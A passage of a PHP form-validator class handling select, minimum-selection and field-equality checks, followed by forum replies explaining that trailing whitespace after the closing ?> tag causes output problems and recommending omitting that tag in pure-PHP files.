if(isset($input_value) && strlen($input_value)>0)
{
if(!preg_match("$command_value",$input_value))
{
$bret=false;
$default_error_message = sprintf(E_VAL_REGEXP_CHECK_FAILED,$variable_name);
}
}
break;
}
case "dontselect":
case "dontselectchk":
case "dontselectradio":
{
$bret = $this->validate_dontselect($input_value,
$command_value,
$default_error_message,
$variable_name);
break;
}//case
case "shouldselchk":
case "selectradio":
{
$bret = $this->validate_select($input_value,
$command_value,
$default_error_message,
$variable_name);
break;
}//case
case "selmin":
{
$min_count = intval($command_value);
if(isset($input_value))
{
if($min_count > 1)
{
$bret = (count($input_value) >= $min_count )?true:false;
}
else
{
$bret = true;
}
}
else
{
$bret= false;
$default_error_message = sprintf(E_VAL_SELMIN_CHECK_FAILED,$min_count,$variable_name);
}
break;
}//case
case "selone":
{
if(false == isset($input_value)||
strlen($input_value)<=0)
{
$bret= false;
$default_error_message = sprintf(E_VAL_SELONE_CHECK_FAILED,$variable_name);
}
break;
}
case "eqelmnt":
{
if(isset($formvariables[$command_value]) &&
strcmp($input_value,$formvariables[$command_value])==0 )
{
$bret=true;
}
else
{
$bret= false;
$default_error_message = sprintf(E_VAL_EQELMNT_CHECK_FAILED,$variable_name,$command_value);
}
break;
}
case "neelmnt":
{
if(isset($formvariables[$command_value]) &&
strcmp($input_value,$formvariables[$command_value]) !=0 )
{
$bret=true;
}
else
{
$bret= false;
$default_error_message = sprintf(E_VAL_NEELMNT_CHECK_FAILED,$variable_name,$command_value);
}
break;
}
}//switch
return $bret;
}//validdate command
}?>
after .the }?>
if you select all (Ctrl+A) you will see the white space proceeding the ?>
There is likely whitespace after the closing ?> tag. It's become quite common practice to leave off the ending ?> tag to prevent this exactly issue. But that can only be done in files that contain only code in classes, no procedural code.
To add on to RobertPitt, if your file is solely PHP only, add the <?php at the start, and remove the ?> to prevent careless whitespaces at the back.